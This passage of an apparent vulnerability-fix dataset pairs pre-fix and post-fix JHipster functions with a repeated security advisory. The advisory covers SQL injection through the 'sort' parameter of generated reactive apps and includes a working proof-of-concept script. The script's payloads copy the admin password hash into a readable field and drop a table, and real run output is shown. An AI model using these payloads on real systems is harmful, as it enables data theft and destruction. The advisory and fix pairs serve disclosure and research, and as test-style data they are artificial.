bcrypt hash:\n id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=2 name=notwithstanding\n\n== 5) Arbitrary SQL: DROP TABLE product (availability) ==\n injection request HTTP 200\n After injection, listing products again:\n status: 500\n detail: Table \"PRODUCT\" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]\n\n== Done. The database has been modified / a table dropped by injected SQL. ==\n```\n\n\n### D. Real output (PostgreSQL 16 run )\n\n```\n== 3) Error probe: sort=name' ==\nstatus: 500\ndetail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e\nORDER BY e_name' ASC LIMIT 20 OFFSET 0\n\n== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=1501 name=beta widget\n\n== 5) DROP TABLE product ==\n injection request HTTP 200 -> subsequent list: status 500 \"Failure during data access\"\n```\n"
+commit = "f6f1579581da8db0d1b8bd28dd473b56951c83af"
+cwe = "CWE-89"
+family = "injection"
+function = "getSourceEntitySideAttributes"
+function_lines = [[232, 240]]
+id = "jhipster-generator-jhipster-e25ba8d07362b033"
+language = "typescript"
+method = "fix_site"
+parent = "5412d97c33c7cc9c5c06c421b5364166986a9f7c"
+path = "lib/jdl/converters/json-to-jdl-entity-converter.ts"
+post_fix = "function getSourceEntitySideAttributes(entityName: string, relationship: JSONRelationship): JDLSourceEntitySide {\n return {\n sourceEntity: entityName,\n injectedFieldInSourceEntity: getInjectedFieldInSourceEntity(relationship),\n injectedFieldInSourceIsRequired: !!relationship.relationshipValidateRules,\n commentForSourceEntity: relationship.documentation,\n };\n}\n"
+pre_fix = "function getSourceEntitySideAttributes(entityName: string, relationship: JSONRelationship): JDLSourceEntitySide {\n return {\n sourceEntity: entityName,\n injectedFieldInSourceEntity: getInjectedFieldInSourceEntity(relationship),\n injectedFieldInSourceIsRequired: relationship.relationshipValidateRules,\n commentForSourceEntity: relationship.documentation,\n };\n}\n"
+repo = "jhipster/generator-jhipster"
+url = "https://github.com/jhipster/generator-jhipster.git"
+
+[[case]]
+advisory = "GHSA-r223-96jv-q533"
+advisory_text = "JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort\n\n# SQL Injection in the `sort` Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications\n\n- **Product**: jhipster/generator-jhipster (npm package `generator-jhipster`)\n- **Affected versions**: v7.0.0 through v9.2.0 \n- **Component**: generated reactive-application code, template `EntityManager_reactive.java.ejs`\n- **Report date**: 2026-08-29\n\n---\n\n## 1. Summary\n\nEvery reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by `generator-jhipster` contains an SQL injection in the paginated entity list endpoints (`GET /api/?sort=...`). The `sort` request parameter is taken verbatim from the user and concatenated into the SQL `ORDER BY` clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the **simple query protocol**, so `;`-separated extra statements are run against the database.\n\nA single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore **execute arbitrary SQL**: read any table (including `jhi_user` password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).\n\nThe JPA (non-reactive) path is **not** affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.\n\n## 2. Root Cause\n\nThe generator template\n`generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs` (lines 240–253) writes `createOrderByFields(...)`, which renders the user-supplied sort property directly as an unquoted `SqlIdentifier`:\n\n```java\nprivate static Collection extends OrderByField> createOrderByFields(Table table, Sort sortToUse) {\n List fields = new ArrayList<>();\n for (Sort.Order order : sortToUse) {\n String propertyName = order.getProperty(); // attacker controlled (?sort=...)\n OrderByField orderByField = !propertyName.contains(\".\")\n ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))\n : createOrderByField(propertyName);\n fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());\n }\n return fields;\n}\n```\n\nThe generated app configures `SqlRenderer.create(factory.createRenderContext())` with the default naming strategy, so unquoted identifiers are rendered **verbatim**. With `?sort=id;DROP TABLE product;--` the alias renders into:\n\n```sql\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0\n```\n\n## 3. Verification \n\nA real application was generated from this repository (`git clone` of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.\n\n| Step | H2 (dev default) | PostgreSQL 16 (prod default) |\n| ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- |\n| Error probe `sort=name%27` | 500; SQL echoed with raw `'` in `ORDER BY e_name'` | 500; r2dbc-postgresql parse error echoing full SQL |\n| Exfiltrate admin hash via `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` | HTTP 200; `name` becomes `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` | HTTP 200; same hash read back |\n| `;DROP TABLE product;--` | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |\n\nAll payloads executed with a token carrying only `ROLE_USER`. **No other vulnerability or privileged account is required.**\n\n## 4. Impact\n\nCWE-89 SQL Injection. Confidentiality (arbitrary read, incl. `jhi_user` password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for `reactive: true` + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.\n\n## 5. Fix Recommendation\n\nIn `EntityManager.createOrderByFields`, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted `SqlIdentifier`; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.\n\n---\n\n## Appendix\n\n### A. Environment setup\n\n```bash\n# 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3\njava -version # openjdk 21.x\nnode --version # v20+\n\n# 1. Clone the generator \ngit clone https://github.com/jhipster/generator-jhipster.git\ncd generator-jhipster\ngit checkout # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.\nnpm install --no-audit --no-fund # ~778 packages\nnpm link # makes `jhipster` available\njhipster --version # expected: 9.2.0\n\n# 2. Generate the target app (reactive + SQL + JWT + paginated entity)\nmkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux\ncat > .yo-rc.json <<'EOF'\n{ \"generator-jhipster\": {\n \"applicationType\": \"monolith\", \"baseName\": \"pocwebflux\",\n \"packageName\": \"com.mycompany.pocwebflux\", \"authenticationType\": \"jwt\",\n \"databaseType\": \"sql\", \"devDatabaseType\": \"h2Memory\", \"prodDatabaseType\": \"postgresql\",\n \"reactive\": true, \"skipClient\": true, \"buildTool\": \"maven\",\n \"enableTranslation\": false, \"jhipsterVersion\": \"9.2.0\" } }\nEOF\ncat > product.jdl <<'EOF'\nentity Product { name String required, price BigDecimal }\npaginate Product with pagination\nEOF\nexport JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn\njhipster --no-insight --force # -> \"Spring Boot 4.1.1 application generated successfully.\"\njhipster jdl product.jdl --no-insight --force\n\n# Sanity check that the generated app contains the vulnerable code (all should match):\ngrep -n \"OrderByField.from(table.column\" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java\ngrep -n \"findAllBy(Pageable\" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java\ngrep -n \"Pageable pageable\" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java\n\n# 3a. Run on H2 (default dev database)\n./mvnw -DskipTests package # -> BUILD SUCCESS\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null &\ncurl -s http://127.0.0.1:18080/management/health # -> {\"groups\":[...],\"status\":\"UP\"}\nBASE_URL=http://127.0.0.1:18080 bash /poc/poc.sh\n\n# 3b. Run on PostgreSQL 16 (default production database)\ndocker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \\\n -e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16\n./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile\nSECRET=$(python3 -c \"import base64,os;print(base64.b64encode(os.urandom(64)).decode())\")\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=prod --server.port=18081 \\\n --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \\\n --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \\\n --jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null &\n# seed two products via the API (prod has no sample data), then run poc.sh:\nBASE_URL=http://127.0.0.1:18081 bash /poc/poc.sh\ndocker rm -f jh-pg16\n```\n\n### B. PoC script \n\n```bash\n#!/usr/bin/env bash\n# Usage: BASE_URL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token)\nset -euo pipefail\nBASE_URL=\"${BASE_URL:-http://127.0.0.1:18080}\"; JWT=\"${JWT:-}\"; LOGIN=\"${LOGIN:-user}\"; PASSWORD=\"${PASSWORD:-user}\"\n\nif [ -z \"$JWT\" ]; then\n JWT=$(curl -s -X POST \"$BASE_URL/api/authenticate\" -H 'Content-Type: application/json' \\\n -d \"{\\\"username\\\":\\\"$LOGIN\\\",\\\"password\\\":\\\"$PASSWORD\\\",\\\"rememberMe\\\":false}\" \\\n | python3 -c \"import sys,json;print(json.load(sys.stdin)['id_token'])\")\nfi\nAUTH=\"Authorization: Bearer $JWT\"\n\necho \"== 2) Baseline ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" | head -c 300; echo\necho \"== 3) Error probe: sort=name' ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=name%27\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(d.get(\"detail\"))' || true\necho \"== 4) Exfiltrate admin bcrypt hash ==\"\nPAYLOAD=\"id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" \\\n | python3 -c \"import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]\"\necho \"== 5) DROP TABLE product ==\"\nPAYLOAD=\"id%3BDROP%20TABLE%20product%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(str(d.get(\"detail\"))[:90])' || true\n```\n\n### C. Real output (H2 run, 2026-08-29, full `poc.sh` execution)\n\n```\n== Target: http://127.0.0.1:18080 ==\n== 1) Obtain a low-privileged token (user/user) ==\n== 2) Baseline: benign paginated read (sort=id,asc) ==\n[ { \"id\" : 1, \"name\" : \"eke below forceful\", \"price\" : 3151.02 }, { \"id\" : 2, ... } ]\n\n== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped ==\nstatus: 500\ndetail: Syntax error in SQL statement \"SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price\nFROM product e ORDER BY e_name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY\"; SQL statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC\nOFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]\n\n== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n Read back - first product 'name' now equals the admin bcrypt hash:\n id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=2 name=notwithstanding\n\n== 5) Arbitrary SQL: DROP TABLE product (availability) ==\n injection request HTTP 200\n After injection, listing products again:\n status: 500\n detail: Table \"PRODUCT\" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]\n\n== Done. The database has been modified / a table dropped by injected SQL. ==\n```\n\n\n### D. Real output (PostgreSQL 16 run )\n\n```\n== 3) Error probe: sort=name' ==\nstatus: 500\ndetail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e\nORDER BY e_name' ASC LIMIT 20 OFFSET 0\n\n== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=1501 name=beta widget\n\n== 5) DROP TABLE product ==\n injection request HTTP 200 -> subsequent list: status 500 \"Failure during data access\"\n```\n"
+commit = "f6f1579581da8db0d1b8bd28dd473b56951c83af"
+cwe = "CWE-89"
+family = "injection"
+function = "writeEntitiesTask"
+function_lines = [[92, 112]]
+id = "jhipster-generator-jhipster-e4ad88d8f028b8fe"
+language = "typescript"
+method = "fix_site"
+parent = "5412d97c33c7cc9c5c06c421b5364166986a9f7c"
+path = "generators/spring-boot/generators/data-relational/entity-files.ts"
+post_fix = "export default asWritingEntitiesTask(async function writeEntitiesTask({ application, entities }) {\n for (const entity of entities.filter(entity => !entity.skipServer)) {\n if (entity.builtInUser) {\n await this.writeFiles({\n blocks: [\n {\n condition: (generator: any) => generator.reactive && generator.requiresPersistableImplementation,\n ...javaMainPackageTemplatesBlock('_entityPackage_'),\n templates: ['domain/_persistClass_Callback.java'],\n },\n ],\n context: { ...application, ...entity },\n });\n } else {\n await this.writeFiles({\n sections: sqlFiles,\n context: { ...application, ...entity },\n });\n }\n }\n\n if (application.reactive) {\n const customRepositoryEntities = entities.filter(\n entity =>\n !entity.skipServer && !entity.builtIn && !entity.embedded && entity.entityPersistenceLayer && !useSimpleR2dbcRepository(entity),\n );\n if (customRepositoryEntities.length > 0) {\n await this.writeFiles({\n blocks: [\n {\n ...javaMainPackageTemplatesBlock(),\n templates: [\n 'repository/AbstractR2dbcRepository_reactive.java',\n ...(customRepositoryEntities.some(entity => entity.jpaMetamodelFiltering) ?\n ['repository/CriteriaBuilder_reactive.java']\n : []),\n ],\n },\n ],\n context: application,\n });\n }\n }\n});"
+pre_fix = "export default asWritingEntitiesTask(async function writeEntitiesTask({ application, entities }) {\n for (const entity of entities.filter(entity => !entity.skipServer)) {\n if (entity.builtInUser) {\n await this.writeFiles({\n blocks: [\n {\n condition: (generator: any) => generator.reactive && generator.requiresPersistableImplementation,\n ...javaMainPackageTemplatesBlock('_entityPackage_'),\n templates: ['domain/_persistClass_Callback.java'],\n },\n ],\n context: { ...application, ...entity },\n });\n } else {\n await this.writeFiles({\n sections: sqlFiles,\n context: { ...application, ...entity },\n });\n }\n }\n});"
+repo = "jhipster/generator-jhipster"
+url = "https://github.com/jhipster/generator-jhipster.git"
+
+[[case]]
+advisory = "GHSA-r223-96jv-q533"
+advisory_text = "JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort\n\n# SQL Injection in the `sort` Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications\n\n- **Product**: jhipster/generator-jhipster (npm package `generator-jhipster`)\n- **Affected versions**: v7.0.0 through v9.2.0 \n- **Component**: generated reactive-application code, template `EntityManager_reactive.java.ejs`\n- **Report date**: 2026-08-29\n\n---\n\n## 1. Summary\n\nEvery reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by `generator-jhipster` contains an SQL injection in the paginated entity list endpoints (`GET /api/?sort=...`). The `sort` request parameter is taken verbatim from the user and concatenated into the SQL `ORDER BY` clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the **simple query protocol**, so `;`-separated extra statements are run against the database.\n\nA single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore **execute arbitrary SQL**: read any table (including `jhi_user` password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).\n\nThe JPA (non-reactive) path is **not** affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.\n\n## 2. Root Cause\n\nThe generator template\n`generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs` (lines 240–253) writes `createOrderByFields(...)`, which renders the user-supplied sort property directly as an unquoted `SqlIdentifier`:\n\n```java\nprivate static Collection extends OrderByField> createOrderByFields(Table table, Sort sortToUse) {\n List fields = new ArrayList<>();\n for (Sort.Order order : sortToUse) {\n String propertyName = order.getProperty(); // attacker controlled (?sort=...)\n OrderByField orderByField = !propertyName.contains(\".\")\n ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))\n : createOrderByField(propertyName);\n fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());\n }\n return fields;\n}\n```\n\nThe generated app configures `SqlRenderer.create(factory.createRenderContext())` with the default naming strategy, so unquoted identifiers are rendered **verbatim**. With `?sort=id;DROP TABLE product;--` the alias renders into:\n\n```sql\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0\n```\n\n## 3. Verification \n\nA real application was generated from this repository (`git clone` of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.\n\n| Step | H2 (dev default) | PostgreSQL 16 (prod default) |\n| ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- |\n| Error probe `sort=name%27` | 500; SQL echoed with raw `'` in `ORDER BY e_name'` | 500; r2dbc-postgresql parse error echoing full SQL |\n| Exfiltrate admin hash via `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` | HTTP 200; `name` becomes `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` | HTTP 200; same hash read back |\n| `;DROP TABLE product;--` | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |\n\nAll payloads executed with a token carrying only `ROLE_USER`. **No other vulnerability or privileged account is required.**\n\n## 4. Impact\n\nCWE-89 SQL Injection. Confidentiality (arbitrary read, incl. `jhi_user` password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for `reactive: true` + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.\n\n## 5. Fix Recommendation\n\nIn `EntityManager.createOrderByFields`, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted `SqlIdentifier`; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.\n\n---\n\n## Appendix\n\n### A. Environment setup\n\n```bash\n# 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3\njava -version # openjdk 21.x\nnode --version # v20+\n\n# 1. Clone the generator \ngit clone https://github.com/jhipster/generator-jhipster.git\ncd generator-jhipster\ngit checkout # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.\nnpm install --no-audit --no-fund # ~778 packages\nnpm link # makes `jhipster` available\njhipster --version # expected: 9.2.0\n\n# 2. Generate the target app (reactive + SQL + JWT + paginated entity)\nmkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux\ncat > .yo-rc.json <<'EOF'\n{ \"generator-jhipster\": {\n \"applicationType\": \"monolith\", \"baseName\": \"pocwebflux\",\n \"packageName\": \"com.mycompany.pocwebflux\", \"authenticationType\": \"jwt\",\n \"databaseType\": \"sql\", \"devDatabaseType\": \"h2Memory\", \"prodDatabaseType\": \"postgresql\",\n \"reactive\": true, \"skipClient\": true, \"buildTool\": \"maven\",\n \"enableTranslation\": false, \"jhipsterVersion\": \"9.2.0\" } }\nEOF\ncat > product.jdl <<'EOF'\nentity Product { name String required, price BigDecimal }\npaginate Product with pagination\nEOF\nexport JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn\njhipster --no-insight --force # -> \"Spring Boot 4.1.1 application generated successfully.\"\njhipster jdl product.jdl --no-insight --force\n\n# Sanity check that the generated app contains the vulnerable code (all should match):\ngrep -n \"OrderByField.from(table.column\" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java\ngrep -n \"findAllBy(Pageable\" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java\ngrep -n \"Pageable pageable\" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java\n\n# 3a. Run on H2 (default dev database)\n./mvnw -DskipTests package # -> BUILD SUCCESS\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null &\ncurl -s http://127.0.0.1:18080/management/health # -> {\"groups\":[...],\"status\":\"UP\"}\nBASE_URL=http://127.0.0.1:18080 bash /poc/poc.sh\n\n# 3b. Run on PostgreSQL 16 (default production database)\ndocker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \\\n -e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16\n./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile\nSECRET=$(python3 -c \"import base64,os;print(base64.b64encode(os.urandom(64)).decode())\")\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=prod --server.port=18081 \\\n --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \\\n --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \\\n --jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null &\n# seed two products via the API (prod has no sample data), then run poc.sh:\nBASE_URL=http://127.0.0.1:18081 bash /poc/poc.sh\ndocker rm -f jh-pg16\n```\n\n### B. PoC script \n\n```bash\n#!/usr/bin/env bash\n# Usage: BASE_URL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token)\nset -euo pipefail\nBASE_URL=\"${BASE_URL:-http://127.0.0.1:18080}\"; JWT=\"${JWT:-}\"; LOGIN=\"${LOGIN:-user}\"; PASSWORD=\"${PASSWORD:-user}\"\n\nif [ -z \"$JWT\" ]; then\n JWT=$(curl -s -X POST \"$BASE_URL/api/authenticate\" -H 'Content-Type: application/json' \\\n -d \"{\\\"username\\\":\\\"$LOGIN\\\",\\\"password\\\":\\\"$PASSWORD\\\",\\\"rememberMe\\\":false}\" \\\n | python3 -c \"import sys,json;print(json.load(sys.stdin)['id_token'])\")\nfi\nAUTH=\"Authorization: Bearer $JWT\"\n\necho \"== 2) Baseline ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" | head -c 300; echo\necho \"== 3) Error probe: sort=name' ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=name%27\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(d.get(\"detail\"))' || true\necho \"== 4) Exfiltrate admin bcrypt hash ==\"\nPAYLOAD=\"id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" \\\n | python3 -c \"import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]\"\necho \"== 5) DROP TABLE product ==\"\nPAYLOAD=\"id%3BDROP%20TABLE%20product%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(str(d.get(\"detail\"))[:90])' || true\n```\n\n### C. Real output (H2 run, 2026-08-29, full `poc.sh` execution)\n\n```\n== Target: http://127.0.0.1:18080 ==\n== 1) Obtain a low-privileged token (user/user) ==\n== 2) Baseline: benign paginated read (sort=id,asc) ==\n[ { \"id\" : 1, \"name\" : \"eke below forceful\", \"price\" : 3151.02 }, { \"id\" : 2, ... } ]\n\n== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped ==\nstatus: 500\ndetail: Syntax error in SQL statement \"SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price\nFROM product e ORDER BY e_name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY\"; SQL statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC\nOFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]\n\n== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n Read back - first product 'name' now equals the admin bcrypt hash:\n id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=2 name=notwithstanding\n\n== 5) Arbitrary SQL: DROP TABLE product (availability) ==\n injection request HTTP 200\n After injection, listing products again:\n status: 500\n detail: Table \"PRODUCT\" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]\n\n== Done. The database has been modified / a table dropped by injected SQL. ==\n```\n\n\n### D. Real output (PostgreSQL 16 run )\n\n```\n== 3) Error probe: sort=name' ==\nstatus: 500\ndetail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e\nORDER BY e_name' ASC LIMIT 20 OFFSET 0\n\n== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=1501 name=beta widget\n\n== 5) DROP TABLE product ==\n injection request HTTP 200 -> subsequent list: status 500 \"Failure during data access\"\n```\n"
+commit = "f6f1579581da8db0d1b8bd28dd473b56951c83af"
+cwe = "CWE-89"
+family = "injection"
+function = "preparePostEntityServerDerivedProperties"
+function_lines = [[42, 69]]
+id = "jhipster-generator-jhipster-ed98b23f033108c6"
+language = "typescript"
+method = "fix_site"
+parent = "5412d97c33c7cc9c5c06c421b5364166986a9f7c"
+path = "generators/server/support/prepare-entity.ts"
+post_fix = "export function preparePostEntityServerDerivedProperties(\n entity: SpringBootEntity>,\n) {\n mutateData(entity, {\n uniqueEnums: ({ fields }) => [...new Set(fields.filter(field => field.fieldIsEnum))],\n });\n\n if (entity.primaryKey?.derived) {\n entity.isUsingMapsId = true;\n entity.mapsIdAssoc = entity.relationships.find(rel => rel.id);\n } else {\n entity.isUsingMapsId = false;\n entity.mapsIdAssoc = undefined;\n }\n // Deprecated: kept for blueprints, not used by the generator anymore.\n entity.reactiveOtherEntities = new Set(entity.reactiveEagerRelations.map(rel => rel.otherEntity));\n entity.reactiveUniqueEntityTypes = new Set(entity.reactiveEagerRelations.map(rel => rel.otherEntity.entityNameCapitalized));\n entity.reactiveUniqueEntityTypes.add(entity.entityClass);\n if (entity.databaseType === 'sql') {\n for (const relationship of entity.relationships) {\n if (!relationship.otherEntity.embedded) {\n (relationship as DatabaseRelationship).joinColumnNames = relationship.otherEntity.primaryKey!.fields.map(\n otherField =>\n `${relationship.id && relationship.relationshipOneToOne ? '' : `${hibernateSnakeCase(relationship.relationshipName)}_`}${(otherField as DatabaseField).columnName}`,\n );\n }\n }\n }\n}"
